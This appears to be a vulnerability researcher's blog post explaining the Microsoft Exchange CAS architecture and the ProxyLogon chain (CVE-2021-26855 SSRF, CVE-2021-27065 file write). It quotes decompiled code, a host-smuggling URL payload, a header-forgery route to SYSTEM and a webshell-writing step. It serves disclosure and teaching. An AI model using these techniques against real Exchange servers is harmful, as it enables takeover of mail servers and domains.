The most interesting one is CVE-2018-8581 disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into something really fancy. For instance, it could directly control the whole Domain Controller through a low privilege account.

The most surprising

The most surprising one is CVE-2020-0688, which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.

Where is the new attack surface

Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found.

Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The official documentation from Microsoft indicates that:

Mailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server

From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared.

The CAS architecture

CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS.

The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with 0.0.0.0, which means anyone could access the Frontend and Backend of Exchange directly. Wouldn’t it be dangerous? Please keep this question in mind and we will answer that later.

Exchange implements the logic of Frontend and Backend via IIS module. There are several modules in Frontend and Backend to complete different tasks, such as the filter, validation, and logging. The Frontend must contain a Proxy Module. The Proxy Module picks up the HTTP request from the client side and adds some internal settings, then forwards the request to the Backend. As for the Backend, all the applications include the Rehydration Module, which is in charge of parsing Frontend requests, populating the client information back, and continuing to process the business logic. Later we will be elaborating how Proxy Module and Rehydration Module work.

Frontend Proxy Module

Proxy Module chooses a handler based on the current ApplicationPath to process the HTTP request from the client side. For instance, visiting /EWS will use EwsProxyRequestHandler, as for /OWA will trigger OwaProxyRequestHandler. All the handlers in Exchange inherit the class from ProxyRequestHandler and implement its core logic, such as how to deal with the HTTP request from the user, which URL from Backend to proxy to, and how to synchronize the information with the Backend. The class is also the most centric part of the whole Proxy Module, we will separate ProxyRequestHandler into 3 sections:

Frontend Reqeust Section

The Request section will parse the HTTP request from the client and determine which cookie and header could be proxied to the Backend. Frontend and Backend relied on HTTP Headers to synchronize information and proxy internal status. Therefore, Exchange has defined a blacklist to avoid some internal Headers being misused.

HttpProxy\ProxyRequestHandler.cs

protected virtual bool ShouldCopyHeaderToServerRequest(string headerName) {
  return !string.Equals(headerName, "X-CommonAccessToken", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-IsFromCafe", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-SourceCafeServer", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "msExchProxyUri", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-MSExchangeActivityCtx", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "return-client-request-id", OrdinalIgnoreCase) 
      && !string.Equals(headerName, "X-Forwarded-For", OrdinalIgnoreCase) 
      && (!headerName.StartsWith("X-Backend-Diag-", OrdinalIgnoreCase) 
      || this.ClientRequest.GetHttpRequestBase().IsProbeRequest());
}

In the last stage of Request, Proxy Module will call the method AddProtocolSpecificHeadersToServerRequest implemented by the handler to add the information to be communicated with the Backend in the HTTP header. This section will also serialize the information from the current login user and put it in a new HTTP header X-CommonAccessToken, which will be forwarded to the Backend later.

For instance, If I log into Outlook Web Access (OWA) with the name Orange, the X-CommonAccessToken that Frontend proxy to Backend will be:

Frontend Proxy Section

The Proxy Section first uses the GetTargetBackendServerURL method to calculate which Backend URL should the HTTP request be forwarded to. Then initialize a new HTTP Client request with the method CreateServerRequest.

HttpProxy\ProxyRequestHandler.cs

protected HttpWebRequest CreateServerRequest(Uri targetUrl) {
    HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(targetUrl);
    if (!HttpProxySettings.UseDefaultWebProxy.Value) {
        httpWebRequest.Proxy = NullWebProxy.Instance;
    }
    httpWebRequest.ServicePoint.ConnectionLimit = HttpProxySettings.ServicePointConnectionLimit.Value;
    httpWebRequest.Method = this.ClientRequest.HttpMethod;
    httpWebRequest.Headers["X-FE-ClientIP"] = ClientEndpointResolver.GetClientIP(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-For"] = ClientEndpointResolver.GetClientProxyChainIPs(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-Forwarded-Port"] = ClientEndpointResolver.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
    httpWebRequest.Headers["X-MS-EdgeIP"] = Utilities.GetEdgeServerIpAsProxyHeader(SharedHttpContextWrapper.GetWrapper(this.HttpContext).Request);
    
    // ...
    
    return httpWebRequest;
}

Exchange will also generate a Kerberos ticket via the HTTP Service-Class of the Backend and put it in the Authorization header. This header is designed to prevent anonymous users from accessing the Backend directly. With the Kerberos Ticket, the Backend could validate the access from the Frontend.

HttpProxy\ProxyRequestHandler.cs

if (this.ProxyKerberosAuthentication) {
    serverRequest.ConnectionGroupName = this.ClientRequest.UserHostAddress + ":" + GccUtils.GetClientPort(SharedHttpContextWrapper.GetWrapper(this.HttpContext));
} else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.
    ShouldBackendRequestBeAnonymous() || (HttpProxySettings.TestBackEndSupportEnabled.Value  
    && !string.IsNullOrEmpty(this.ClientRequest.Headers["TestBackEndUrl"]))) {
    serverRequest.ConnectionGroupName = "Unauthenticated";
} else {
    serverRequest.Headers["Authorization"] = KerberosUtilities.GenerateKerberosAuthHeader(
        serverRequest.Address.Host, this.TraceContext, 
        ref this.authenticationContext, ref this.kerberosChallenge);
}

HttpProxy\KerberosUtilities.cs

internal static string GenerateKerberosAuthHeader(string host, int traceContext, ref AuthenticationContext authenticationContext, ref string kerberosChallenge) {
    byte[] array = null;
    byte[] bytes = null;
    // ...
    authenticationContext = new AuthenticationContext();
    string text = "HTTP/" + host;
    authenticationContext.InitializeForOutboundNegotiate(AuthenticationMechanism.Kerberos, text, null, null);
    SecurityStatus securityStatus = authenticationContext.NegotiateSecurityContext(inputBuffer, out bytes);
    // ...
    string @string = Encoding.ASCII.GetString(bytes);
    return "Negotiate " + @string;
}

Therefore, a Client request proxied to the Backend will be added with several HTTP Headers for internal use. The two most essential Headers are X-CommonAccessToken, which indicates the mail users’ log in identity, and Kerberos Ticket, which represents legal access from the Frontend.

Frontend Response Section

The last is the section of Response. It receives the response from the Backend and decides which headers or cookies are allowed to be sent back to the Frontend.

Backend Rehydration Module

Now let’s move on and check how the Backend processes the request from the Frontend. The Backend first uses the method IsAuthenticated to check whether the incoming request is authenticated. Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.

After passing the check, Exchange will restore the login identity used in the Frontend, through deserializing the header X-CommonAccessToken back to the original Access Token, and then put it in the httpContext object to progress to the business logic in the Backend.

Authentication\BackendRehydrationModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) {
    if (httpContext.Request.IsAuthenticated) {
        this.ProcessRequest(httpContext);
    }
}

private void ProcessRequest(HttpContext httpContext) {
    CommonAccessToken token;
    if (this.TryGetCommonAccessToken(httpContext, out token)) {
        // ...
    }
}

private bool TryGetCommonAccessToken(HttpContext httpContext, out CommonAccessToken token) {
    string text = httpContext.Request.Headers["X-CommonAccessToken"];
    if (string.IsNullOrEmpty(text)) {
        return false;
    }
        
    bool flag;
    try {
        flag = this.IsTokenSerializationAllowed(httpContext.User.Identity as WindowsIdentity);
    } finally {
        httpContext.Items["BEValidateCATRightsLatency"] = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
    }

    token = CommonAccessToken.Deserialize(text);
    httpContext.Items["Item-CommonAccessToken"] = token;
    
    //...
}

private bool IsTokenSerializationAllowed(WindowsIdentity windowsIdentity) {
   flag2 = LocalServer.AllowsTokenSerializationBy(clientSecurityContext);
   return flag2;
}

private static bool AllowsTokenSerializationBy(ClientSecurityContext clientContext) {
    return LocalServer.HasExtendedRightOnServer(clientContext, 
        WellKnownGuid.TokenSerializationRightGuid);  // ms-Exch-EPI-Token-Serialization

}

The attack surface

After a brief introduction to the architecture of CAS, we now realize that CAS is just a well-written HTTP Proxy (or Client), and we know that implementing Proxy isn’t easy. So I was wondering:

Could I use a single HTTP request to access different contexts in Frontend and Backend respectively to cause some confusion?

If we could do that, maaaaaybe I could bypass some Frontend restrictions to access arbitrary Backends and abuse some internal API. Or, we can confuse the context to leverage the inconsistency of the definition of dangerous HTTP headers between the Frontend and Backend to do further interesting attacks.

With these thoughts in mind, let’s start hunting!

The ProxyLogon

The first exploit is the ProxyLogon. As introduced before, this may be the most severe vulnerability in the Exchange history ever. ProxyLogon is chained with 2 bugs:

CVE-2021-26855 - Pre-auth SSRF

There are more than 20 handlers corresponding to different application paths in the Frontend. While reviewing the implementations, we found the method GetTargetBackEndServerUrl, which is responsible for calculating the Backend URL in the static resource handler, assigns the Backend target by cookies directly.

Now you figure out how simple this vulnerability is after learning the architecture!

HttpProxy\ProxyRequestHandler.cs

protected virtual Uri GetTargetBackEndServerUrl() {
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null) {
            result = urlAnchorMailbox.Url;
        } else {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
    finally {
        this.LogElapsedTime("L_TargetBEUrl");
    }
    return result;
}

From the code snippet, you can see the property BackEndServer.Fqdn of AnchoredRoutingTarget is assigned from the cookie directly.

HttpProxy\OwaResourceProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() {
    HttpCookie httpCookie = base.ClientRequest.Cookies["X-AnonResource-Backend"];
    if (httpCookie != null) {
        this.savedBackendServer = httpCookie.Value;
    }
    if (!string.IsNullOrEmpty(this.savedBackendServer)) {
        base.Logger.Set(3, "X-AnonResource-Backend-Cookie");
        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
            ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie, int>((long)this.GetHashCode(), "[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.", httpCookie, base.TraceContext);
        }
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer), this);
    }
    return new AnonymousAnchorMailbox(this);
}

Though we can only control the Host part of the URL, but hang on, isn’t manipulating a URL Parser exactly what I am good at? Exchange builds the Backend URL by built-in UriBuilder. However, since C# didn’t verify the Host, so we can enclose the whole URL with some special characters to access arbitrary servers and ports.

https://[foo]@example.com:443/path#]:444/owa/auth/x.js

So far we have a super SSRF that can control almost all the HTTP requests and get all the replies. The most impressive thing is that the Frontend of Exchange will generate a Kerberos Ticket for us, which means even when we are attacking a protected and domain-joined HTTP service, we can still hack with the authentication of Exchange Machine Account.

So, what is the root cause of this arbitrary Backend assignment? As mentioned, the Exchange Server changes its architecture while releasing new versions. It might have different functions in different versions even with the same component under the same name. Microsoft has put great effort into ensuring the architectural capability between new and old versions. This cookie is a quick solution and the design debt of Exchange making the Frontend in the new architecture could identify where the old Backend is.

CVE-2021-27065 - Post-auth Arbitrary-File-Write

Thanks to the super SSRF allowing us to access the Backend without restriction. The next is to find a RCE bug to chain together. Here we leverage a Backend internal API /proxyLogon.ecp to become the admin. The API is also the reason why we called it ProxyLogon.

Because we leverage the Frontend handler of static resources to access the ECExchange Control Panel (ECP) Backend, the header msExchLogonMailbox, which is a special HTTP header in the ECP Backend, will not be blocked by the Frontend. By leveraging this minor inconsistency, we can specify ourselves as the SYSTEM user and generate a valid ECP session with the internal API.

With the inconsistency between the Frontend and Backend, we can access all the functions on ECP by Header forgery and internal Backend API abuse. Next, we have to find an RCE bug on the ECP interface to chain them together. The ECP wraps the Exchange PowerShell commands as an abstract interface by /ecp/DDI/DDIService.svc. The DDIService defines several PowerShell executing pipelines by XAML so that it can be accessed by Web. While verifying the DDI implementation, we found the tag of WriteFileActivity did not check the file path properly and led to an arbitrary-file-write.

DDIService\WriteFileActivity.cs

public override RunResult Run(DataRow input, DataTable dataTable, DataObjectStore store, Type codeBehind, Workflow.UpdateTableDelegate updateTableDelegate) {
    DataRow dataRow = dataTable.Rows[0];
    string value = (string)input[this.InputVariable];
    string path = (string)input[this.OutputFileNameVariable];
    RunResult runResult = new RunResult();
    try {
        runResult.ErrorOccur = true;
        using (StreamWriter streamWriter = new StreamWriter(File.Open(path, FileMode.CreateNew)))
        {
            streamWriter.WriteLine(value);
        }
        runResult.ErrorOccur = false;
    }
    
    // ...
}

There are several paths to trigger the vulnerability of arbitrary-file-write. Here we use ResetOABVirtualDirectory.xaml as an example and write the result of Set-OABVirtualDirectory to the webroot to be our Webshell.

Now we have a working pre-auth RCE exploit chain. An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port. Here is an demonstration video:

Epilogue

As the first blog of this series, ProxyLogon perfectly shows how severe this attack surface could be. We will have more examples to come. Stay tuned!

❌
❌